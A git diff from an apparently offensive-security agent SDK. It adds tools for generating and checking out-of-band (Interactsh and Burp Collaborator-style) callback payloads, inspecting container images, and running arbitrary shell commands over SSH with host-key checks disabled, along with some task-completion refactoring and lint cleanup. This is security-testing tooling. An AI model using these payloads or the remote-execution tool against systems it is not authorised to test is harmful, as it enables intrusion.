+ try: + result = subprocess.run( + ["dig", "+short", domain], + capture_output=True, + text=True, + timeout=10 + ) + + dns_result = result.stdout.strip() + + try: + response = requests.get(f"http://{domain}", timeout=5) + http_status = response.status_code + except: + http_status = "No response" + + interactions_found = bool(dns_result or http_status != "No response") + + report = f"""Interaction Report for {payload}: +Payload ID: {payload_id} +Domain: {domain} +Wait time: {wait_time} seconds + +DNS Resolution: {dns_result if dns_result else 'No DNS interaction detected'} +HTTP Status: {http_status} +Interactions Detected: {'YES' if interactions_found else 'NO'} + +Created: {time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(payload_info['created_at']))} +Elapsed: {int(time.time() - payload_info['created_at'])} seconds""" + + return report + + except subprocess.TimeoutExpired: + return f"DNS lookup timed out for {domain} - this might indicate filtering or blocking" + + except Exception as e: + return f"Error checking interactions: {e}" + + @tool_method() + def interactsh_list_payloads(self) -> str: + """ + List all generated Interactsh payloads and their status. + + Returns: + List of all generated payloads with timestamps + """ + try: + if not hasattr(self, '_interactsh_payloads') or not self._interactsh_payloads: + return "No Interactsh payloads have been generated yet." + + payloads_info = [] + for payload_id, info in self._interactsh_payloads.items(): + age_seconds = int(time.time() - info['created_at']) + payloads_info.append( + f"ID: {payload_id}\n" + f" Payload: {info['payload']}\n" + f" Subdomain: {info.get('subdomain', 'none')}\n" + f" Created: {time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(info['created_at']))}\n" + f" Age: {age_seconds} seconds" + ) + + return "Generated Interactsh Payloads:\n\n" + "\n\n".join(payloads_info) + + except Exception as e: + return f"Error listing payloads: {e}" + + @tool_method() + def generate_burp_collaborator_payload(self, subdomain: str = "") -> str: + """ + Generate a Burp Collaborator-style payload for OAST testing. + + Args: + subdomain: Optional subdomain prefix + + Returns: + Collaborator-style payload URL + """ + try: + unique_id = str(uuid.uuid4())[:8] + + if subdomain: + payload = f"http://{subdomain}.{unique_id}.burpcollaborator.net" + else: + payload = f"http://{unique_id}.burpcollaborator.net" + + if not hasattr(self, '_collaborator_payloads'): + self._collaborator_payloads = {} + + self._collaborator_payloads[unique_id] = { + "payload": payload, + "created_at": time.time(), + "subdomain": subdomain + } + + return f"Generated Burp Collaborator payload: {payload}\nPayload ID: {unique_id}\nNote: This is a simulated collaborator payload for testing purposes." + + except Exception as e: + return f"Error generating Collaborator payload: {e}" \ No newline at end of file diff --git a/dreadnode/agent/tools/registry.py b/dreadnode/agent/tools/registry.py new file mode 100644 index 00000000..e16d5b0f --- /dev/null +++ b/dreadnode/agent/tools/registry.py @@ -0,0 +1,86 @@ +import importlib.metadata as md +from collections.abc import Iterable +from dataclasses import dataclass +from pathlib import Path +from typing import Any + +from .loader import SUPPORTED, load_manifest_file +from .manifest import ToolManifest + + +@dataclass(frozen=True) +class Discovered: + id: str + manifest: ToolManifest + source: str + distribution: str | None = None + + +class ManifestRegistry: + def __init__(self) -> None: + self._by_id: dict[str, Discovered] = {} + + # ----- discovery ----- + def _raise_invalid_manifest_type(self, result: Any) -> None: + raise TypeError("manifest entry point must return dict or path-like") + + def discover_entrypoints(self, group: str = "dreadnode.manifest") -> list[Discovered]: + found: list[Discovered] = [] + eps = md.entry_points(group=group) + for ep in eps: + try: + obj = ep.load() + result = obj() if callable(obj) else obj + data: dict[str, Any] + + if isinstance(result, dict): + data = result + elif isinstance(result, (str, Path)): + data = load_manifest_file(Path(result)).model_dump(mode="python") + else: + self._raise_invalid_manifest_type(result) + manifest = ToolManifest.model_validate(data) + d = Discovered( + id=manifest.id, + manifest=manifest, + source=f"entrypoint:{ep.dist.name}", + distribution=ep.dist.name, + ) + found.append(d) + except Exception as e: # robust discovery; log and continue + print(f"[registry] skip entrypoint {ep!r}: {e}") + return found + + def discover_paths(self, paths: Iterable[Path]) -> list[Discovered]: + found: list[Discovered] = [] + for root in paths: + for p in root.rglob("*"): + if ( + p.is_file() + and p.suffix.lower() in SUPPORTED + and p.stem in {"tool", "manifest", "tool.manifest"} + ): + try: + m = load_manifest_file(p) + found.append(Discovered(id=m.id, manifest=m, source=f"path:{p}")) + except Exception as e: + print(f"[registry] skip {p}: {e}") + return found + + def load_all(self, *, entrypoints: bool = True, extra_paths: list[Path] | None = None) -> None: + if entrypoints: + for d in self.discover_entrypoints(): + self._by_id[d.id] = d + if extra_paths: + for d in self.discover_paths(extra_paths): + self._by_id[d.id] = d + + # ----- access ----- + def ids(self) -> list[str]: + return sorted(self._by_id.keys()) + + def get(self, tool_id: str) -> ToolManifest: + return self._by_id[tool_id].manifest + + def items(self) -> list[Discovered]: + return list(self._by_id.values()) diff --git a/dreadnode/agent/tools/skopeo/__init__.py b/dreadnode/agent/tools/skopeo/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/skopeo/tool.py b/dreadnode/agent/tools/skopeo/tool.py new file mode 100644 index 00000000..430dd1a1 --- /dev/null +++ b/dreadnode/agent/tools/skopeo/tool.py @@ -0,0 +1,156 @@ +import json +import subprocess +import tarfile +import typing as t +import zlib +from io import BytesIO +from pathlib import Path + +import httpx + +from dreadnode.agent.tools.base import Toolset, tool_method + + +class SkopeoTool(Toolset): + """ + Tools for inspecting Microsoft Container Registry images via skopeo + httpx. + """ + + name = "Skopeo" + + registry: str = "mcr.microsoft.com" + chunk_size: int = 10 * 1024 + max_attempts: int = 10 + default_out_dir: str = "/workspace/out" + + def _run(self, cmd: str) -> subprocess.CompletedProcess: + cmd_list = cmd.split() if isinstance(cmd, str) else cmd + return subprocess.run(cmd_list, shell=False, capture_output=True, check=False) # noqa: S603 + + def _skopeo_json(self, args: str) -> dict[str, t.Any]: + cp = self._run(f"skopeo {args}") + if cp.returncode != 0: + raise RuntimeError(cp.stderr.decode() or "skopeo failed") + return json.loads(cp.stdout or "{}") + + def _peek_docker_layer(self, repo: str, digest: str) -> list[str]: + """ + Progressive, partial Range reads of a gzipped tar layer to list file names without + downloading the whole blob. + """ + files: list[str] = [] + bytes_read: int = 0 + chunk_size = self.chunk_size + buffer = BytesIO() + url = f"https://{self.registry}/v2/{repo}/blobs/{digest}" + + for _ in range(self.max_attempts): + range_end = bytes_read + chunk_size - 1 + headers = {"Range": f"bytes={bytes_read}-{range_end}"} + chunk_size *= 2 + + with httpx.get(url, headers=headers, stream=True) as r: + if r.status_code not in (200, 206): + break + buffer.seek(0, 2) + buffer.write(r.content) + bytes_read += len(r.content) + buffer.seek(0) + + # GZip magic w/ lax checksum handling + decompressed = zlib.decompressobj(16 + zlib.MAX_WBITS).decompress(buffer.read()) + decompressed_buffer = BytesIO(decompressed) + + try: + with tarfile.open(mode="r|", fileobj=decompressed_buffer) as tar: + try: + tar.getmembers() # type: ignore[attr-defined] + return [m.name for m in tar.members] + except tarfile.ReadError as e: + if "unexpected end of data" in str(e): + return [m.name for m in tar.members] + except tarfile.ReadError: + continue + + return files + + @tool_method( + name="list_tags", + description="List available tags for a repo, e.g. repo='dotnet/runtime'.", + ) + def list_tags(self, repo: str) -> list[str]: + data = self._skopeo_json(f"list-tags docker://{self.registry}/{repo}") + return data.get("Tags", []) + + @tool_method( + name="get_manifest", + description="Get manifest (skopeo inspect) for repo[:tag]. Defaults to latest (last tag).", + ) + def get_manifest(self, repo: str, tag: str | None = None) -> dict[str, t.Any]: + if not tag: + tags = self.list_tags(repo) + if not tags: + raise ValueError("No tags found") + tag = tags[-1] + manifest = self._skopeo_json(f"inspect docker://{self.registry}/{repo}:{tag}") + + # Save manifest to default output directory + Path.mkdir(self.default_out_dir, exist_ok=True) + + # Save the manifest to a file + save_path = Path(self.default_out_dir).joinpath( + f"{repo.replace('/', '_')}_manifest.json" + ) + with save_path.open("w") as f: + json.dump(manifest, f, indent=2) + + return f"manifest saved to {save_path}" + + @tool_method( + name="get_config", + description="Get config (skopeo inspect --config) for repo[:tag]. Defaults to latest (last tag).", + ) + def get_config(self, repo: str, tag: str | None = None) -> dict[str, t.Any]: + if not tag: + tags = self.list_tags(repo) + if not tags: + raise ValueError("No tags found") + tag = tags[-1] + return self._skopeo_json(f"inspect --config docker://{self.registry}/{repo}:{tag}") + + @tool_method( + name="list_files_in_latest", + description="Peek each layer of the LATEST tag and return a mapping of layer digest -> file paths.", + ) + def list_files_in_latest(self, repo: str) -> dict[str, list[str]]: + manifest = self.get_manifest(repo) + layers = manifest.get("Layers", []) + out: dict[str, list[str]] = {} + for digest in layers: + out[digest] = self._peek_docker_layer(repo, digest) + return out + + @tool_method( + name="download_latest_layers", + description="Download all layers for the LATEST tag into an output directory (extracts tar.gz layers).", + ) + def download_latest_layers(self, repo: str, out_dir: str | None = None) -> str: + out_dir = out_dir or self.default_out_dir + Path.mkdir(out_dir, exist_ok=True) + + manifest = self.get_manifest(repo) + layers = manifest.get("Layers", []) + if not layers: + return f"No layers found for {repo}" + + for digest in layers: + url = f"https://{self.registry}/v2/{repo}/blobs/{digest}" + try: + with httpx.get(url, stream=True) as r: + r.raise_for_status() + with tarfile.open(fileobj=BytesIO(r.content)) as tar: + tar.extractall(out_dir, filter="data") + except (httpx.HTTPError, tarfile.TarError, OSError) as e: + return f"Failed on {digest}: {e}. Extracted so far to {out_dir}" + + return f"Extracted {len(layers)} layer(s) to {out_dir}" diff --git a/dreadnode/agent/tools/ssh/__init__.py b/dreadnode/agent/tools/ssh/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/ssh/tool.py b/dreadnode/agent/tools/ssh/tool.py new file mode 100644 index 00000000..3b2533d1 --- /dev/null +++ b/dreadnode/agent/tools/ssh/tool.py @@ -0,0 +1,123 @@ +import shlex +import typing as t + +import paramiko +from pydantic import BaseModel, Field, PrivateAttr + +from dreadnode.agent.tools import Toolset, tool_method + + +def _q(s: str) -> str: + return shlex.quote(s) + + +class SSHConn(BaseModel): + host: t.Annotated[str, "Remote host or IP"] + user: t.Annotated[str, "SSH username"] + password: t.Annotated[str | None, "SSH password (omit if using key)"] = None + key_path: t.Annotated[str | None, "Path to private key (PEM/OpenSSH)"] = None + port: t.Annotated[int, "SSH port"] = 22 + + @property + def key(self) -> str: + return f"{self.user}@{self.host}:{self.port}" + + +class SSHTools(Toolset): + profiles: dict[str, SSHConn] = Field(default_factory=dict, description="Saved SSH profiles") + default_profile: str | None = Field(default=None, description="Default profile name") + _clients: dict[str, paramiko.SSHClient] = PrivateAttr(default_factory=dict) + + # --- internals --- + def _resolve_conn(self, conn: SSHConn | None, profile: str | None) -> SSHConn: + if conn is not None: + return conn + name = profile or self.default_profile + if not name or name not in self.profiles: + raise ValueError("Provide `conn` or an existing `profile` (or set `default_profile`).") + return self.profiles[name] + + def _client(self, c: SSHConn) -> paramiko.SSHClient: + if c.key not in self._clients: + cli = paramiko.SSHClient() + cli.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + cli.connect( + c.host, + port=c.port, + username=c.user, + password=c.password, + key_filename=c.key_path, + look_for_keys=not bool(c.key_path), + allow_agent=True, + timeout=15, + ) + self._clients[c.key] = cli + return self._clients[c.key] + + def _run( + self, cli: paramiko.SSHClient, cmd: str, timeout: int | None = None + ) -> tuple[int, str, str]: + stdin, stdout, stderr = cli.exec_command(cmd, timeout=timeout) + out = stdout.read().decode(errors="replace").strip() + err = stderr.read().decode(errors="replace").strip() + rc = stdout.channel.recv_exit_status() + return rc, out, err + + # --- meta: let the LLM set a profile once --- + @tool_method( + name="ssh.configure", + description="Save a connection under a profile; optionally set as default.", + catch=True, + ) + def configure( + self, + profile: t.Annotated[str, "Profile name to save"], + conn: t.Annotated[SSHConn, "Connection settings to store"], + *, + make_default: t.Annotated[bool, "Also set as default profile?"] = True, + ) -> dict[str, t.Any]: + self.profiles[profile] = conn + if make_default: + self.default_profile = profile + return {"success": True, "profiles": list(self.profiles), "default": self.default_profile} + + # --- exec: takes either conn or profile --- + @tool_method(name="ssh.exec", description="Run a shell command via SSH.", catch=True) + def exec( + self, + command: t.Annotated[str, "Shell command to execute remotely"], + conn: t.Annotated[SSHConn | None, "Inline connection (optional)"] = None, + profile: t.Annotated[str | None, "Use a saved profile name (optional)"] = None, + ) -> dict: + c = self._resolve_conn(conn, profile) + cli = self._client(c) + rc, out, err = self._run(cli, command) + return {"success": rc == 0, "code": rc, "output": out, "error": err or None} + + @tool_method( + name="tmux.create", description="Create a tmux session if not present.", catch=True + ) + def tmux_create( + self, session: str, conn: SSHConn | None = None, profile: str | None = None + ) -> dict: + c = self._resolve_conn(conn, profile) + return self.exec( + f"tmux has-session -t {_q(session)} || tmux new-session -d -s {_q(session)}", conn=c + ) + + @tool_method(name="tmux.send", description="Send one line to tmux session.", catch=True) + def tmux_send( + self, session: str, line: str, conn: SSHConn | None = None, profile: str | None = None + ) -> dict: + c = self._resolve_conn(conn, profile) + s, line_quoted = _q(session), _q(line) + return self.exec( + f"tmux send-keys -t {s} -l {line_quoted} \\; tmux send-keys -t {s} Enter", conn=c + ) + + @tool_method(name="tmux.capture", description="Capture pane text from session.", catch=True) + def tmux_capture( + self, session: str, conn: SSHConn | None = None, profile: str | None = None + ) -> dict: + c = self._resolve_conn(conn, profile) + return self.exec(f"tmux capture-pane -pt {_q(session)}", conn=c) diff --git a/dreadnode/agent/tools/task.py b/dreadnode/agent/tools/task.py deleted file mode 100644 index c4bc2eb7..00000000 --- a/dreadnode/agent/tools/task.py +++ /dev/null @@ -1,41 +0,0 @@ -from loguru import logger - -from dreadnode import log_metric, log_output -from dreadnode.agent.reactions import Fail, Finish -from dreadnode.agent.tools.base import tool -from dreadnode.data_types import Markdown - - -@tool -async def finish_task(success: bool, summary: str) -> None: # noqa: FBT001 - """ - Mark your task as complete with a success/failure status and markdown summary of actions taken. - - ## When to Use This Tool - This tool should be called under the following circumstances: - 1. **All TODOs are complete**: If you are managing todos, every task in your TODO list has been marked as 'completed'. - 2. **No more actions**: You have no further actions to take and have addressed all aspects of the user's request. - 3. **Irrecoverable failure**: You have encountered an error that you cannot resolve, and there are no further steps you can take. - 4. **Final Summary**: You are ready to provide a comprehensive summary of all actions taken. - - ## When NOT to Use This Tool - Do not use this tool if: - 2. **You are in the middle of a multi-step process**: The overall task is not yet finished. - 3. **A recoverable error has occurred**: You should first attempt to fix the error through all available means. - 4. **You are waiting for user feedback**: The task is paused, not finished. - - ## Best Practices - * **Final Step**: This should be the absolute last tool you call. Once invoked, your task is considered finished. - * **Honest Status**: Accurately report the success or failure of the overall task. If any part of the task failed or was not completed, `success` should be `False`. - * **Comprehensive Summary**: The `summary` should be a complete and detailed markdown-formatted report of everything you did, including steps taken, tools used, and the final outcome. This is your final report to the user. - """ - - log_func = logger.success if success else logger.warning - log_func(f"Agent finished the task (success={success}):") - logger.info(summary) - logger.info("---") - - log_metric("task_success", success) - log_output("task_summary", Markdown(summary)) - - raise Finish if success else Fail("Agent marked the task as failed.") diff --git a/dreadnode/agent/tools/task/__init__.py b/dreadnode/agent/tools/task/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/task/finish.py b/dreadnode/agent/tools/task/finish.py new file mode 100644 index 00000000..7840b23a --- /dev/null +++ b/dreadnode/agent/tools/task/finish.py @@ -0,0 +1,69 @@ +from loguru import logger + +from dreadnode import log_metric, log_output +from dreadnode.agent.reactions import Fail, Finish +from dreadnode.agent.tools.base import tool +from dreadnode.data_types import Markdown + + +@tool +async def complete_successfully(summary: str) -> None: + """ + Mark your task as successfully completed with a markdown summary of actions taken. + + ## When to Use This Tool + This tool should be called under the following circumstances: + 1. **All TODOs are complete**: If you are managing todos, every task in your TODO list has been marked as 'completed'. + 2. **No more actions**: You have no further actions to take and have addressed all aspects of the user's request. + 4. **Final Summary**: You are ready to provide a comprehensive summary of all actions taken. + + ## When NOT to Use This Tool + Do not use this tool if: + 1. **The task failed**: Use `mark_as_failed` instead. + 2. **You are in the middle of a multi-step process**: The overall task is not yet finished. + 3. **A recoverable error has occurred**: You should first attempt to fix the error through all available means. + 4. **You are waiting for user feedback**: The task is paused, not finished. + + ## Best Practices + * **Final Step**: This should be the absolute last tool you call. Once invoked, your task is considered finished. + * **Comprehensive Summary**: The `summary` should be a complete and detailed markdown-formatted report of everything you did, including steps taken, tools used, and the final outcome. This is your final report to the user. + """ + logger.success("Agent finished the task successfully:") + logger.info(summary) + logger.info("---") + + log_metric("task_success", True) + log_output("task_summary", Markdown(summary)) + + raise Finish + + +@tool +async def mark_as_failed(summary: str) -> None: + """ + Mark your task as failed with a markdown summary of actions taken and reasons for failure. + + ## When to Use This Tool + This tool should be called under the following circumstances: + 1. **Irrecoverable failure**: You have encountered an error that you cannot resolve, and there are no further steps you can take. + 2. **Final Summary**: You are ready to provide a comprehensive summary of what failed and why. + + ## When NOT to Use This Tool + Do not use this tool if: + 1. **The task succeeded**: Use `complete_successfully` instead. + 2. **You are in the middle of a multi-step process**: The overall task is not yet finished. + 3. **A recoverable error has occurred**: You should first attempt to fix the error through all available means. + 4. **You are waiting for user feedback**: The task is paused, not finished. + + ## Best Practices + * **Final Step**: This should be the absolute last tool you call. Once invoked, your task is considered finished. + * **Comprehensive Summary**: The `summary` should be a complete and detailed markdown-formatted report of what you attempted, where the process failed, and why. This is your final report to the user. + """ + logger.warning("Agent finished the task with failure:") + logger.info(summary) + logger.info("---") + + log_metric("task_success", False) + log_output("task_summary", Markdown(summary)) + + raise Fail("Agent marked the task as failed.") diff --git a/dreadnode/agent/tools/task/quit.py b/dreadnode/agent/tools/task/quit.py new file mode 100644 index 00000000..b1323d81 --- /dev/null +++ b/dreadnode/agent/tools/task/quit.py @@ -0,0 +1,15 @@ +from loguru import logger + +from dreadnode import log_metric, log_output +from dreadnode.agent.tools.base import tool +from dreadnode.data_types import Markdown + + +@tool +async def give_up(reason: str) -> None: + """ + Give up on your task. + """ + logger.info(f"Agent gave up on the task: {reason}") + log_output("complete_task_summary", Markdown(f"## Gave up on task\n\n{reason}")) + log_metric("agent_marked_complete", 1) diff --git a/dreadnode/agent/tools/highlight.py b/dreadnode/agent/tools/task/review.py similarity index 100% rename from dreadnode/agent/tools/highlight.py rename to dreadnode/agent/tools/task/review.py diff --git a/dreadnode/agent/tools/todo.py b/dreadnode/agent/tools/task/todo.py similarity index 97% rename from dreadnode/agent/tools/todo.py rename to dreadnode/agent/tools/task/todo.py index 9369f349..6b4c9f27 100644 --- a/dreadnode/agent/tools/todo.py +++ b/dreadnode/agent/tools/task/todo.py @@ -98,7 +98,9 @@ def update_todo(todos: t.Annotated[list[TodoItem], "The full, updated list of to status_log = f"Updated todo list with {len(todos)} tasks:\n" for todo in todos: status = ( - "✅" if todo.status == "completed" else ("⏳" if todo.status == "in_progress" else "📌") + "Complete" + if todo.status == "completed" + else ("⏳" if todo.status == "in_progress" else "📌") ) status_log += f"{status} {todo.content} (priority: {todo.priority})\n" diff --git a/dreadnode/api/client.py b/dreadnode/api/client.py index 12243907..836a1f9c 100644 --- a/dreadnode/api/client.py +++ b/dreadnode/api/client.py @@ -147,7 +147,7 @@ def _get_error_message(self, response: httpx.Response) -> str: try: obj = response.json() return f"{response.status_code}: {obj.get('detail', json.dumps(obj))}" - except Exception: # noqa: BLE001 + except Exception: return str(response.content) def _request( @@ -231,9 +231,9 @@ def poll_for_token( "POST", "/auth/device/token", json_data={"device_code": device_code} ) - if response.status_code == 200: # noqa: PLR2004 + if response.status_code == 200: return AccessRefreshTokenResponse(**response.json()) - if response.status_code != 401: # noqa: PLR2004 + if response.status_code != 401: raise RuntimeError(self._get_error_message(response)) time.sleep(interval) @@ -393,7 +393,7 @@ def export_runs( Returns: A DataFrame containing the exported run data. """ - import pandas as pd # noqa: PLC0415 + import pandas as pd response = self.request( "GET", @@ -430,7 +430,7 @@ def export_metrics( Returns: A DataFrame containing the exported metric data. """ - import pandas as pd # noqa: PLC0415 + import pandas as pd response = self.request( "GET", @@ -470,7 +470,7 @@ def export_parameters( Returns: A DataFrame containing the exported parameter data. """ - import pandas as pd # noqa: PLC0415 + import pandas as pd response = self.request( "GET", @@ -511,7 +511,7 @@ def export_timeseries( Returns: A DataFrame containing the exported timeseries data. """ - import pandas as pd # noqa: PLC0415 + import pandas as pd response = self.request( "GET", diff --git a/dreadnode/artifact/merger.py b/dreadnode/artifact/merger.py index 355d9f09..baf09f50 100644 --- a/dreadnode/artifact/merger.py +++ b/dreadnode/artifact/merger.py @@ -589,7 +589,7 @@ def _update_directory_hash(self, dir_node: DirectoryNode) -> str: child_hashes.sort() # Ensure consistent hash regardless of order hash_input = "|".join(child_hashes) - dir_hash = hashlib.sha1(hash_input.encode()).hexdigest()[:16] # noqa: S324 # nosec + dir_hash = hashlib.sha1(hash_input.encode()).hexdigest()[:16] # nosec dir_node["hash"] = dir_hash return dir_hash diff --git a/dreadnode/artifact/storage.py b/dreadnode/artifact/storage.py index ca54fba3..907b7d56 100644 --- a/dreadnode/artifact/storage.py +++ b/dreadnode/artifact/storage.py @@ -48,9 +48,9 @@ def store_operation() -> str: if not filesystem.exists(target_key): filesystem.put(str(file_path), target_key) - logger.info("Artifact successfully stored at %s", target_key) + logger.info(f"Artifact successfully stored at {target_key}") else: - logger.info("Artifact already exists at %s, skipping upload.", target_key) + logger.info(f"Artifact already exists at {target_key}, skipping upload.") return str(filesystem.unstrip_protocol(target_key)) @@ -83,7 +83,7 @@ def batch_upload_operation() -> list[str]: if srcs: filesystem.put(srcs, dsts) - logger.info("Batch upload completed for %d files", len(srcs)) + logger.info(f"Batch upload completed for {len(srcs)} files") else: logger.info("All files already exist, skipping upload") @@ -106,7 +106,7 @@ def compute_file_hash(self, file_path: Path, stream_threshold_mb: int = 10) -> s file_size = file_path.stat().st_size stream_threshold = stream_threshold_mb * 1024 * 1024 - sha1 = hashlib.sha1() # noqa: S324 # nosec + sha1 = hashlib.sha1() # nosec if file_size < stream_threshold: with file_path.open("rb") as f: diff --git a/dreadnode/artifact/tree_builder.py b/dreadnode/artifact/tree_builder.py index a26e5850..df3b9ba4 100644 --- a/dreadnode/artifact/tree_builder.py +++ b/dreadnode/artifact/tree_builder.py @@ -103,7 +103,7 @@ def _process_directory(self, dir_path: Path) -> DirectoryNode: Returns: DirectoryNode: A hierarchical tree structure representing the directory and its contents. """ - logger.debug("Processing directory: %s", dir_path) + logger.debug(f"Processing directory: {dir_path}") all_files: list[Path] = [] for root, _, files in os.walk(dir_path): @@ -157,7 +157,7 @@ def _process_directory(self, dir_path: Path) -> DirectoryNode: file_hash_cache[file_hash] = file_node if source_paths: - logger.debug("Uploading %d files in batch", len(source_paths)) + logger.debug(f"Uploading {len(source_paths)} files in batch") uris = self.storage.batch_upload_files(source_paths, target_paths) # Update file nodes with URIs @@ -268,7 +268,7 @@ def _build_tree_structure( rel_path = file_path.relative_to(base_dir) parts = rel_path.parts except ValueError: - logger.debug("File %s is not relative to base directory %s", file_path, base_dir) + logger.debug(f"File {file_path} is not relative to base directory {base_dir}") continue # File in the root directory @@ -397,7 +397,7 @@ def _compute_directory_hash(self, dir_node: DirectoryNode) -> str: child_hashes = [child["hash"] for child in dir_node["children"]] child_hashes.sort() # Ensure consistent hash hash_input = "|".join(child_hashes) - return hashlib.sha1(hash_input.encode()).hexdigest()[:16] # noqa: S324 # nosec + return hashlib.sha1(hash_input.encode()).hexdigest()[:16] # nosec def _are_all_children_processed(self, parent_node: DirectoryNode, processed: set[str]) -> bool: """ diff --git a/dreadnode/cli/agent/cli.py b/dreadnode/cli/agent/cli.py index 133acbb9..ef88a76a 100644 --- a/dreadnode/cli/agent/cli.py +++ b/dreadnode/cli/agent/cli.py @@ -121,11 +121,11 @@ async def agent_cli(*, config: t.Any = config_default) -> None: return if config.suffix in {".toml"}: - agent_app._config = cyclopts.config.Yaml(config, use_commands_as_keys=False) # noqa: SLF001 + agent_app._config = cyclopts.config.Yaml(config, use_commands_as_keys=False) elif config.suffix in {".yaml", ".yml"}: - agent_app._config = cyclopts.config.Toml(config, use_commands_as_keys=False) # noqa: SLF001 + agent_app._config = cyclopts.config.Toml(config, use_commands_as_keys=False) elif config.suffix in {".json"}: - agent_app._config = cyclopts.config.Json(config, use_commands_as_keys=False) # noqa: SLF001 + agent_app._config = cyclopts.config.Json(config, use_commands_as_keys=False) else: rich.print(f":exclamation: Unsupported configuration file format: '{config.suffix}'.") return diff --git a/dreadnode/cli/api.py b/dreadnode/cli/api.py index d2ae7b49..09209a9a 100644 --- a/dreadnode/cli/api.py +++ b/dreadnode/cli/api.py @@ -62,8 +62,8 @@ def create_api_client(*, profile: str | None = None) -> ApiClient: def _flush_auth_changes() -> None: """Flush the authentication data to disk if it has been updated.""" - access_token = client._client.cookies.get("access_token") # noqa: SLF001 - refresh_token = client._client.cookies.get("refresh_token") # noqa: SLF001 + access_token = client._client.cookies.get("access_token") + refresh_token = client._client.cookies.get("refresh_token") changed: bool = False if access_token and access_token != config.access_token: diff --git a/dreadnode/cli/github.py b/dreadnode/cli/github.py index 6b33390d..e96f48b8 100644 --- a/dreadnode/cli/github.py +++ b/dreadnode/cli/github.py @@ -12,7 +12,7 @@ from dreadnode.config import UserConfig, find_dreadnode_saas_profiles, is_dreadnode_saas_server -class GithubRepo(str): # noqa: SLOT000 +class GithubRepo(str): """ A string subclass that normalizes various GitHub repository string formats. @@ -44,7 +44,7 @@ class GithubRepo(str): # noqa: SLOT000 OWN_FORMAT_PATTERN = re.compile(r"^([^/]+)/([^/@:]+)@(.+)$") ZIPBALL_PATTERN = re.compile(r"github\.com/([^/]+)/([^/]+?)/zipball/(.+)$") - def __new__(cls, value: t.Any, *_: t.Any, **__: t.Any) -> "GithubRepo": # noqa: PLR0912, PLR0915 + def __new__(cls, value: t.Any, *_: t.Any, **__: t.Any) -> "GithubRepo": if not isinstance(value, str): return super().__new__(cls, str(value)) @@ -146,7 +146,7 @@ def tree_url(self) -> str: def exists(self) -> bool: """Check if a repo exists (or is private) on GitHub.""" response = httpx.get(f"https://github.com/{self.namespace}/{self.repo}") - return response.status_code == 200 # noqa: PLR2004 + return response.status_code == 200 def __repr__(self) -> str: return f"GithubRepo(namespace='{self.namespace}', repo='{self.repo}', ref='{self.ref}')" diff --git a/dreadnode/cli/main.py b/dreadnode/cli/main.py index ccb732e3..a6975263 100644 --- a/dreadnode/cli/main.py +++ b/dreadnode/cli/main.py @@ -202,9 +202,9 @@ def clone( @cli.command(help="Show versions and exit.", group="Meta") def version() -> None: - import importlib.metadata # noqa: PLC0415 - import platform # noqa: PLC0415 - import sys # noqa: PLC0415 + import importlib.metadata + import platform + import sys version = importlib.metadata.version("dreadnode") python_version = f"{sys.version_info.major}.{sys.version_info.minor}.{sys.version_info.micro}" diff --git a/dreadnode/cli/profile/cli.py b/dreadnode/cli/profile/cli.py index 6b54f2d8..64e36dea 100644 --- a/dreadnode/cli/profile/cli.py +++ b/dreadnode/cli/profile/cli.py @@ -59,7 +59,7 @@ def switch( # If no profile provided, prompt user to choose if profile is None: - from rich.prompt import Prompt # noqa: PLC0415 + from rich.prompt import Prompt profiles = list(config.servers.keys()) rich.print("\nAvailable profiles:") diff --git a/dreadnode/constants.py b/dreadnode/constants.py index f2888347..6aa5a12e 100644 --- a/dreadnode/constants.py +++ b/dreadnode/constants.py @@ -34,7 +34,7 @@ ENV_SERVER_URL = "DREADNODE_SERVER_URL" ENV_SERVER = "DREADNODE_SERVER" # alternative to SERVER_URL -ENV_API_TOKEN = "DREADNODE_API_TOKEN" # noqa: S105 # nosec +ENV_API_TOKEN = "DREADNODE_API_TOKEN" # nosec ENV_API_KEY = "DREADNODE_API_KEY" # pragma: allowlist secret (alternative to API_TOKEN) ENV_LOCAL_DIR = "DREADNODE_LOCAL_DIR" ENV_PROJECT = "DREADNODE_PROJECT" diff --git a/dreadnode/convert.py b/dreadnode/convert.py index 4039268d..e5f94ae2 100644 --- a/dreadnode/convert.py +++ b/dreadnode/convert.py @@ -1,14 +1,14 @@ import typing as t if t.TYPE_CHECKING: - import networkx as nx # type: ignore [import-untyped] + import networkx as nx from dreadnode.tracing.span import RunSpan def run_span_to_graph(run: "RunSpan") -> "nx.DiGraph": try: - import networkx as nx # noqa: PLC0415 # pyright: ignore[reportMissingModuleSource] + import networkx as nx # pyright: ignore[reportMissingModuleSource] except ImportError as e: raise RuntimeError("The `networkx` package is required for graph conversion") from e diff --git a/dreadnode/credential_manager.py b/dreadnode/credential_manager.py index afc9c2a3..ead667a4 100644 --- a/dreadnode/credential_manager.py +++ b/dreadnode/credential_manager.py @@ -3,7 +3,7 @@ from datetime import datetime, timezone from typing import TYPE_CHECKING, TypeVar -from botocore.exceptions import ClientError # type: ignore # noqa: PGH003 +from botocore.exceptions import ClientError # type: ignore from loguru import logger from s3fs import S3FileSystem # type: ignore[import-untyped] @@ -41,7 +41,7 @@ def get_filesystem(self) -> S3FileSystem: """Get current filesystem, refreshing credentials if needed.""" if self._needs_refresh(): self._refresh_credentials() - assert self._filesystem is not None # noqa: S101 + assert self._filesystem is not None return self._filesystem def get_prefix(self) -> str: @@ -103,7 +103,7 @@ def execute_with_retry(self, operation: Callable[[], T], max_retries: int = 3) - for attempt in range(max_retries): try: return operation() - except ClientError as e: # noqa: PERF203 + except ClientError as e: error_code = e.response.get("Error", {}).get("Code", "") if error_code in ["ExpiredToken", "InvalidAccessKeyId", "SignatureDoesNotMatch"]: logger.info( diff --git a/dreadnode/data_types/audio.py b/dreadnode/data_types/audio.py index ca23353c..dfa051f7 100644 --- a/dreadnode/data_types/audio.py +++ b/dreadnode/data_types/audio.py @@ -10,14 +10,14 @@ def check_imports() -> None: try: - import soundfile as sf # type: ignore[import-untyped,unused-ignore] # noqa: F401,PLC0415 + import soundfile as sf # type: ignore[import-untyped,unused-ignore] except ImportError as e: raise ImportError( "Audio processing requires `soundfile`. Install with: pip install dreadnode[multimodal]" ) from e try: - import numpy as np # type: ignore[import-untyped,unused-ignore] # noqa: 